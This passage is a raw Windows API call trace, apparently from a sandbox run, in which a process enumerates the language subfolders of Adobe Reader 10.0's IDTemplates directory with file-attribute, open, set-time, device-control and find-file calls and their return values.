lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.247] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.247] GetLastError () returned 0x12 [0251.247] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.247] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.247] GetLastError () returned 0x12 [0251.247] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.248] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.248] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.248] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.248] GetLastError () returned 0x12 [0251.248] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.248] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.248] GetLastError () returned 0x12 [0251.248] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.248] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.249] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.249] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.249] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.250] GetLastError () returned 0x12 [0251.250] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.250] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.250] GetLastError () returned 0x12 [0251.250] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.251] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.251] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.251] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.251] GetLastError () returned 0x12 [0251.251] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.251] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.252] GetLastError () returned 0x12 [0251.252] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.253] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.253] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.253] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.253] GetLastError () returned 0x12 [0251.253] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.253] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.254] GetLastError () returned 0x12 [0251.254] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.254] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.254] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.254] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.254] GetLastError () returned 0x12 [0251.254] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.254] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.254] GetLastError () returned 0x12 [0251.255] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.256] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.256] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.256] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.256] GetLastError () returned 0x12 [0251.256] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.256] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.256] GetLastError () returned 0x12 [0251.256] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.263] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.263] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.263] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.263] GetLastError () returned 0x12 [0251.263] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.263] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.263] GetLastError () returned 0x12 [0251.263] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.264] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.264] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.264] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.264] GetLastError () returned 0x12 [0251.264] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.264] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.264] GetLastError () returned 0x12 [0251.264] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.265] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.265] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.265] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.265] GetLastError () returned 0x12 [0251.265] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.266] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.266] GetLastError () returned 0x12 [0251.266] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.266] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.269] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0251.269] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.269] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.270] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.270] GetLastError () returned 0x12 [0251.270] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.270] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.270] GetLastError () returned 0x12 [0251.270] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0251.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0251.270] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0251.270] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x16bba70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x16bba70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0251.271] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0251.271] GetLastError () returned 0x12 [0251.271] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0251.271] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0251.271] GetLastError () returned 0x12 [0251.271] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0251.271] GetLastError () returned 0x12 [0251.271] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 